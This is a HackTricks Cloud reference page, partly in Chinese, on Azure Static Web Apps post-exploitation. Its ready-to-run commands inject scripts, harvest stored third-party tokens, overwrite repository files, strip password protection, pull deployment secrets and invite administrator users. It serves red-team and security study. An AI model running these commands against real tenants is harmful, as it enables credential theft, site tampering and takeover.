Az - Static Web Apps Post Exploitation
Tip
学习并练习 AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
学习并练习 GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
学习并练习 Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 subscription plans!
- 加入 💬 Discord group 或者 telegram group 或 关注 我们的 Twitter 🐦 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud github 仓库 提交 PRs 来分享 hacking tricks。
Azure Static Web Apps
For more information about this service check:
Microsoft.Web/staticSites/snippets/write
可以通过创建 snippet 使静态网页加载任意 HTML 代码。这可能允许攻击者在 web app 内注入 JS 代码并窃取敏感信息,例如 credentials 或用于 web3 wallets 的 mnemonic keys。
下面的命令会创建一个 snippet,该 snippet 将始终被 web app 加载::
az rest \
--method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/snippets/<snippet-name>?api-version=2022-03-01" \
--headers "Content-Type=application/json" \
--body '{
"properties": {
"name": "supersnippet",
"location": "Body",
"applicableEnvironmentsMode": "AllEnvironments",
"content": "PHNjcmlwdD4KYWxlcnQoIkF6dXJlIFNuaXBwZXQiKQo8L3NjcmlwdD4K",
"environments": [],
"insertBottom": false
}
}'
读取已配置的第三方凭据
如在 App Service 部分所述:
运行以下命令可以读取当前账户中配置的第三方凭据。注意,例如如果某些 Github 凭据配置在不同的用户下,你将无法从另一个用户访问该 token。
az rest --method GET \
--url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01"
该命令返回 Github、Bitbucket、Dropbox 和 OneDrive 的 tokens。
下面是一些用于检查 tokens 的命令示例:
# GitHub – List Repositories
curl -H "Authorization: token <token>" \
-H "Accept: application/vnd.github.v3+json" \
https://api.github.com/user/repos
# Bitbucket – List Repositories
curl -H "Authorization: Bearer <token>" \
-H "Accept: application/json" \
https://api.bitbucket.org/2.0/repositories
# Dropbox – List Files in Root Folder
curl -X POST https://api.dropboxapi.com/2/files/list_folder \
-H "Authorization: Bearer <token>" \
-H "Content-Type: application/json" \
--data '{"path": ""}'
# OneDrive – List Files in Root Folder
curl -H "Authorization: Bearer <token>" \
-H "Accept: application/json" \
https://graph.microsoft.com/v1.0/me/drive/root/children
覆盖文件 - Overwrite routes, HTML, JS…
可以覆盖包含该应用的 Github 仓库 中的文件,方法是通过 Azure 拥有 Github token 时发送如下请求,该请求会指明要覆盖文件的路径、文件内容以及提交信息。
这可以被攻击者滥用,基本上可通过覆盖 staticwebapp.config.json 文件来更改 web app 的内容以提供恶意内容(窃取凭证、助记词等),或仅仅将某些路径重新路由到他们自己的服务器。
Warning
注意,如果攻击者以任何方式攻破 Github 仓库,他们也可以直接在 Github 上覆盖该文件。
curl -X PUT "https://functions.azure.com/api/github/updateGitHubContent" \
-H "Content-Type: application/json" \
-d '{
"commit": {
"message": "Update static web app route configuration",
"branchName": "main",
"committer": {
"name": "Azure App Service",
"email": "donotreply@microsoft.com"
},
"contentBase64Encoded": "ewogICJuYXZpZ2F0aW9uRmFsbGJhY2siOiB7CiAgICAicmV3cml0ZSI6ICIvaW5kZXguaHRtbCIKICB9LAogICJyb3V0ZXMiOiBbCiAgICB7CiAgICAgICJyb3V0ZSI6ICIvcHJvZmlsZSIsCiAgICAgICJtZXRob2RzIjogWwogICAgICAgICJnZXQiLAogICAgICAgICJoZWFkIiwKICAgICAgICAicG9zdCIKICAgICAgXSwKICAgICAgInJld3JpdGUiOiAiL3AxIiwKICAgICAgInJlZGlyZWN0IjogIi9sYWxhbGEyIiwKICAgICAgInN0YXR1c0NvZGUiOiAzMDEsCiAgICAgICJhbGxvd2VkUm9sZXMiOiBbCiAgICAgICAgImFub255bW91cyIKICAgICAgXQogICAgfQogIF0KfQ==",
"filePath": "staticwebapp.config.json",
"message": "Update static web app route configuration",
"repoName": "carlospolop/my-first-static-web-app",
"sha": "4b6165d0ad993a5c705e8e9bb23b778dff2f9ca4"
},
"gitHubToken": "gho_1OSsm834ai863yKkdwHGj31927PCFk44BAXL"
}'
Microsoft.Web/staticSites/config/write
有了此权限,可以通过发送如下请求修改保护 static web app 的密码,甚至取消保护所有环境:
# Change password
az rest --method put \
--url "/subscriptions/<subcription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/config/basicAuth?api-version=2021-03-01" \
--headers 'Content-Type=application/json' \
--body '{
"name": "basicAuth",
"type": "Microsoft.Web/staticSites/basicAuth",
"properties": {
"password": "SuperPassword123.",
"secretUrl": "",
"applicableEnvironmentsMode": "AllEnvironments"
}
}'
# Remove the need of a password
az rest --method put \
--url "/subscriptions/<subcription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/config/basicAuth?api-version=2021-03-01" \
--headers 'Content-Type=application/json' \
--body '{
"name": "basicAuth",
"type": "Microsoft.Web/staticSites/basicAuth",
"properties": {
"secretUrl": "",
"applicableEnvironmentsMode": "SpecifiedEnvironments",
"secretState": "None"
}
}'
Microsoft.Web/staticSites/listSecrets/action
该权限允许获取静态应用的 API 密钥部署令牌。
使用 az rest:
az rest --method POST \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/listSecrets?api-version=2023-01-01"
使用 AzCLI:
az staticwebapp secrets list --name <appname> --resource-group <RG>
Then, in order to 使用该令牌更新应用 you could run the following command. Note that this command was extracted checking Github Action https://github.com/Azure/static-web-apps-deploy 如何工作, as it’s the one Azure set by default ot use. So the image and paarements could change in the future.
Tip
要部署该应用,你可以使用来自 https://azure.github.io/static-web-apps-cli/docs/cli/swa-deploy#deployment-token 的
swa工具,或者按以下原始步骤操作:
- 下载 repo https://github.com/staticwebdev/react-basic(或任何其他你想部署的 repo)并运行
cd react-basic。 - 修改你想要部署的代码
- 运行以下命令进行部署(记得替换
<api-token>):
docker run --rm -v $(pwd):/mnt mcr.microsoft.com/appsvc/staticappsclient:stable INPUT_AZURE_STATIC_WEB_APPS_API_TOKEN=<api-token> INPUT_APP_LOCATION="/mnt" INPUT_API_LOCATION="" INPUT_OUTPUT_LOCATION="build" /bin/staticsites/StaticSitesClient upload --verbose
Warning
即便你拥有 token,如果 Deployment Authorization Policy 被设置为 Github,你也无法部署该应用。要使用该 token,你需要权限
Microsoft.Web/staticSites/write来将部署方法更改为使用 APi token。
Microsoft.Web/staticSites/write
有了此权限,可以将静态 Web 应用的源更改为不同的 Github repository,但是它不会被自动配置,因为这必须由 Github Action 完成。
但是,如果 Deployment Authotization Policy 被设置为 Github,则可以从新的源 repository 更新该应用!
如果 Deployment Authorization Policy 未设置为 Github,你可以使用相同的权限 Microsoft.Web/staticSites/write 将其更改。
# Change the source to a different Github repository
az staticwebapp update --name my-first-static-web-app --resource-group Resource_Group_1 --source https://github.com/carlospolop/my-first-static-web-app -b main
# Update the deployment method to Github
az rest --method PATCH \
--url "https://management.azure.com/subscriptions/<subscription-id>>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>?api-version=2022-09-01" \
--headers 'Content-Type=application/json' \
--body '{
"properties": {
"allowConfigFileUpdates": true,
"stagingEnvironmentPolicy": "Enabled",
"buildProperties": {
"appLocation": "/",
"apiLocation": "",
"appArtifactLocation": "build"
},
"deploymentAuthPolicy": "GitHub",
"repositoryToken": "<github_token>" # az rest --method GET --url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01"
}
}'
示例 Github Action 用于部署该应用:
name: Azure Static Web Apps CI/CD
on:
push:
branches:
- main
pull_request:
types: [opened, synchronize, reopened, closed]
branches:
- main
jobs:
build_and_deploy_job:
if: github.event_name == 'push' || (github.event_name == 'pull_request' && github.event.action != 'closed')
runs-on: ubuntu-latest
name: Build and Deploy Job
permissions:
id-token: write
contents: read
steps:
- uses: actions/checkout@v3
with:
submodules: true
lfs: false
- name: Install OIDC Client from Core Package
run: npm install @actions/core@1.6.0 @actions/http-client
- name: Get Id Token
uses: actions/github-script@v6
id: idtoken
with:
script: |
const coredemo = require('@actions/core')
return await coredemo.getIDToken()
result-encoding: string
- name: Build And Deploy
id: builddeploy
uses: Azure/static-web-apps-deploy@v1
with:
azure_static_web_apps_api_token: "12345cbb198a77a092ff885782a62a15d5aef5e3654cac1234509ab54547270704-4140ccee-e04f-424f-b4ca-3d4dd123459c00f0702071d12345" # A valid formatted token is needed although it won't be used for authentication
action: "upload"
###### Repository/Build Configurations - These values can be configured to match your app requirements. ######
# For more information regarding Static Web App workflow configurations, please visit: https://aka.ms/swaworkflowconfig
app_location: "/" # App source code path
api_location: "" # Api source code path - optional
output_location: "build" # Built app content directory - optional
github_id_token: ${{ steps.idtoken.outputs.result }}
###### End of Repository/Build Configurations ######
close_pull_request_job:
if: github.event_name == 'pull_request' && github.event.action == 'closed'
runs-on: ubuntu-latest
name: Close Pull Request Job
steps:
- name: Close Pull Request
id: closepullrequest
uses: Azure/static-web-apps-deploy@v1
with:
action: "close"
Microsoft.Web/staticSites/resetapikey/action
拥有此权限可以重置 static web app 的 API key,可能对自动部署该应用的 workflows 发起 DoSing。
az rest --method POST \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/resetapikey?api-version=2019-08-01"
Microsoft.Web/staticSites/createUserInvitation/action
此权限允许为用户创建邀请,以便该用户使用指定角色访问 static web app 中的受保护路径。
登录位于例如 /.auth/login/github(用于 github)或 /.auth/login/aad(用于 Entra ID)这样的路径,用户可以使用以下命令被邀请:
az staticwebapp users invite \
--authentication-provider Github # AAD, Facebook, GitHub, Google, Twitter \
--domain mango-beach-071d9340f.4.azurestaticapps.net # Domain of the app \
--invitation-expiration-in-hours 168 # 7 days is max \
--name my-first-static-web-app # Name of the app\
--roles "contributor,administrator" # Comma sepparated list of roles\
--user-details username # Github username in this case\
--resource-group Resource_Group_1 # Resource group of the app
Pull Requests
默认情况下,来自同一仓库分支的 Pull Requests 会在一个暂存环境中自动编译和构建。攻击者如果对仓库有写权限但无法绕过生产分支(通常为 main)的分支保护,可能会滥用这一点,在暂存 URL 上 部署恶意版本的应用。
The staging URL has this format: https://<app-subdomain>-<PR-num>.<region>.<res-of-app-domain> like: https://ambitious-plant-0f764e00f-2.eastus2.4.azurestaticapps.net
Tip
注意:默认情况下外部 PR 不会运行 workflows,除非他们已经至少向仓库合并过 1 个 PR。攻击者可以先发送一个合法的 PR 到仓库,然后再发送一个恶意 PR,将恶意应用部署到暂存环境中。然而,存在一个意外的保护机制:用于部署到 static web app 的默认 GitHub Action 即便在使用 IDToken 进行部署时,也需要访问包含部署令牌的 secret(例如
secrets.AZURE_STATIC_WEB_APPS_API_TOKEN_AMBITIOUS_PLANT_0F764E00F)。这意味着外部 PR 无法访问该 secret,且在 PR 未被接受的情况下,外部 PR 也无法修改 Workflow 来放入任意令牌,因此该攻击实际上无法奏效。
Tip
学习并练习 AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
学习并练习 GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
学习并练习 Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 subscription plans!
- 加入 💬 Discord group 或者 telegram group 或 关注 我们的 Twitter 🐦 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud github 仓库 提交 PRs 来分享 hacking tricks。
HackTricks Cloud

